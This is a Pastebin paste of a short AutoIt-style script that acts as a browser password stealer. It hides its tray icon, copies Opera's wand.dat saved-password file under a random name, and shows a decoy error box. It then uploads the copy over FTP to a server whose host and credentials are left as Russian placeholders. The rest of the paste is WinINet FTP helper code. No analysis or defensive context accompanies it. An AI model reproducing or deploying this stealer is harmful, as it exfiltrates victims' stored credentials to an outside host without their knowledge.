Advertisement
Guest User

Untitled

a guest
May 30th, 2017
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 5.02 KB | None | 0 0
  1. #NoTrayIcon
  2. Server = хост
  3. Port = 21
  4. User = логин
  5. Pwd = пасс
  6. Random, rand, 0, 10000000
  7. FileCopy, %appdata%\Opera\Opera\wand.dat, %appdata%\Opera\Opera\%rand%.wand.dat
  8. LocalFile = %appdata%\Opera\Opera\%rand%.wand.dat
  9. MsgBox, Ошибка, такие дела. Понимаешь?
  10. Directory1 = дерикт
  11. Directory2 = дериктор
  12. IfNotExist, %LocalFile%
  13. {
  14.     MsgBox, Ошибка! Галактика в опасности!
  15.     Exit, 1
  16. }
  17. if (not INetStart())
  18. {
  19.     MsgBox, Failed to initialize.
  20.     Exit, 1
  21. }
  22. hConnection := INetConnect(Server, Port, User, Pwd, "ftp", 1)
  23. if (hConnection)
  24. {
  25.     Error = 0
  26.     if (not UploadFile(hConnection, Directory1, LocalFile))
  27.         Error = 1
  28.     if (not UploadFile(hConnection, Directory2, LocalFile))
  29.         Error = 1
  30.  
  31.     INetCloseHandle(hConnection)
  32.     INetStop()
  33.     Exit, Error
  34. }
  35. else
  36. {
  37.     MsgBox, Failed to create a connection to the FTP server.
  38.     INetStop()
  39.     Exit, 1
  40. }
  41.  
  42.  
  43.  
  44. UploadFile(hConnection, Directory, LocalFile)
  45. {
  46.     if (ChangeDirectory(hConnection, Directory))
  47.     {
  48.         SplitPath, LocalFile, RemoteFile
  49.         if (FtpPutFile(hConnection, LocalFile, RemoteFile))
  50.         {
  51.             Return, true
  52.         }
  53.         else
  54.         {
  55.             MsgBox, Cannot upload file into %Directory%.
  56.             Return, false
  57.         }
  58.     }
  59.     else
  60.     {
  61.         MsgBox, Could not create or change to remote directory %Directory%.
  62.         Return, false
  63.     }
  64. }
  65.  
  66.  
  67.  
  68. ChangeDirectory(hConnection, Directory)
  69. {
  70.     if (FtpSetCurrentDirectory(hConnection, Directory))
  71.     {
  72.         Return, true
  73.     }
  74.     else
  75.     {
  76.         if (FtpCreateDirectory(hConnection, Directory))
  77.         {
  78.             if (FtpSetCurrentDirectory(hConnection, Directory))
  79.             {
  80.                 Return, true
  81.             }
  82.             else
  83.             {
  84.                 MsgBox, Cannot change to remote directory %Directory%.
  85.                 Return, false
  86.             }
  87.         }
  88.         else
  89.         {
  90.             MsgBox, Cannot create remote directory %Directory%.
  91.             Return, false
  92.         }
  93.         MsgBox, Cannot change to remote directory %Directory%.
  94.         Return, false
  95.     }
  96. }
  97.  
  98.  
  99. INetStart(Proxy="", ProxyBypass="", Agent="")
  100. {
  101.    global
  102.    ; get a handle to the WinINet library
  103.    inet_hModule := DllCall("LoadLibrary", "str", "wininet.dll")
  104.    if(!inet_hModule) {
  105.       inet_hModule = 0
  106.       return false
  107.    }
  108.  
  109. ;   INTERNET_OPEN_TYPE_PRECONFIG                    0   // use registry configuration
  110. ;   INTERNET_OPEN_TYPE_DIRECT                       1   // direct to net
  111. ;   INTERNET_OPEN_TYPE_PROXY                        3   // via named proxy
  112. ;   INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY  4   // prevent using java/script/INS
  113.    inet_hInternet := DllCall("wininet\InternetOpenA"
  114.       , "str", (Agent != "" ? Agent : A_ScriptName)
  115.       , "UInt", (Proxy != "" ? 3 : 1)
  116.       , "str", Proxy
  117.       , "str", ProxyBypass
  118.       , "UInt", 0)
  119.    If(!inet_hInternet) {
  120.       INetCloseHandle(inet_hModule)
  121.       return false
  122.    }
  123.    return true
  124. }
  125.  
  126. INetStop()
  127. {
  128.    global
  129.    INetCloseHandle(inet_hInternet)
  130.    DllCall("FreeLibrary", "UInt", inet_hModule)
  131.    inet_hModule = inet_hInternet = 0
  132. }
  133.  
  134. INetCloseHandle(hInternet)
  135. {
  136.    return DllCall("wininet\InternetCloseHandle", "UInt", hInternet)
  137. }
  138.  
  139. INetConnect(Server, Port, Username="anonymous", Password="anonymous", Service="http", FtpPassive=0)
  140. {
  141.  
  142.    global inet_hInternet
  143.    hConnection := DllCall("wininet\InternetConnectA"
  144.       , "uint", inet_hInternet
  145.       , "str", Server
  146.       , "uint", Port
  147.       , "str", Username
  148.       , "str", Password
  149.       , "uint", (Service = "ftp" ? 1 : (Service = "gopher" ? 2 : 3)) ; INTERNET_SERVICE_xxx
  150.       , "uint", (FtpPassive != 0 ? 0x08000000 : 0) ; INTERNET_FLAG_PASSIVE
  151.       , "uint", 0)
  152.    return hConnection
  153. }
  154. FtpCreateDirectory(hConnection, Directory)
  155. {
  156.    return DllCall("wininet\FtpCreateDirectoryA", "uint", hConnection, "str", Directory)
  157. }
  158. FtpSetCurrentDirectory(hConnection, Directory)
  159. {
  160.    return DllCall("wininet\FtpSetCurrentDirectoryA", "uint", hConnection, "str", Directory)
  161. }
  162. FtpGetCurrentDirectory(hConnection, ByRef @Directory)
  163. {
  164.    len := 261   ; MAX_PATH 260
  165.    VarSetCapacity(@Directory, len)
  166.  
  167.    result := DllCall("wininet\FtpGetCurrentDirectoryA", "uint", hConnection, "str", @Directory, "uint*", len)
  168.    VarSetCapacity(@Directory, -1)
  169.    return result
  170. }
  171.  
  172. FtpPutFile(hConnection, LocalFile, RemoteFile="", TransferType="B")
  173. {
  174.    return DllCall("wininet\FtpPutFileA"
  175.       , "uint", hConnection
  176.       , "str", LocalFile
  177.       , "str", (RemoteFile != "" ? RemoteFile : LocalFile)
  178.       , "uint", (TransferType == "A" ? 1 : 2)   ; FTP_TRANSFER_TYPE_ASCII or FTP_TRANSFER_TYPE_BINARY
  179.       , "uint", 0)
  180.  
  181. }
  182.  
  183. FtpDeleteFile(hConnection, File)
  184. {
  185.    return DllCall("wininet\FtpDeleteFileA", "uint", hConnection, "str", File)
  186. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement